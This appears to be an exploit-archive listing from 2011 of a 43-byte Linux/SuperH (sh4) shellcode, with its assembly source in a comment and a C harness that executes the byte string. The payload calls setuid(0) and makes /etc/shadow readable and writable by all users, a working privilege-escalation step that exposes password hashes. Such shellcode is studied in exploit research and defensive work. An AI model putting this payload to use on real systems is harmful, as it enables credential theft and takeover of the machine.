Linux/SuperH - sh4 - setuid(0) - chmod("/etc/shadow", 0666) - exit(0) - 43 bytes



EKU-ID: 600 CVE: OSVDB-ID:
Author: Jonathan Salwan Published: 2011-06-23 Verified: Verified
Download:

Rating

☆☆☆☆☆
Home


/*
** Title:     Linux/SuperH - sh4 - setuid(0) - chmod("/etc/shadow", 0666) - exit(0) - 43 bytes
** Date:      2011-06-22
** Tested on: Debian-sh4 2.6.32-5-sh7751r
** Author:    Jonathan Salwan - twitter: @shell_storm
**
** http://shell-storm.org
**
**
** seteuid:
**  mov  #23, r3
**  xor r4, r4
**  trapa  #2
** chmod:
**  mov #15, r3
**  mova @(24, pc), r0
**  mov r0, r4
**  mov #87, r8
**  mov #5, r9
**  mul.l r8, r9
**  sts macl, r5
**  add #3, r5
**  trapa #2
** exit:
**  xor r3, r3
**  mov #1, r3
**  xor r4, r4
**  trapa  #2
** file:
**  .string "/etc/shadow"
**
*/

#include <stdio.h>
#include <string.h>

char *SC = "\x17\xe3\x4a\x24\x02\xc3\x0f\xe3\x05\xc7\x03"
           "\x64\x57\xe8\x05\xe9\x87\x09\x1a\x05\x03\x75"
           "\x02\xc3\x3a\x23\x01\xe3\x4a\x24\x02\xc3\x2f"
           "\x65\x74\x63\x2f\x73\x68\x61\x64\x6f\x77";

int main(void)
{
  fprintf(stdout,"Length: %d\n",strlen(SC));
  (*(void(*)()) SC)();
}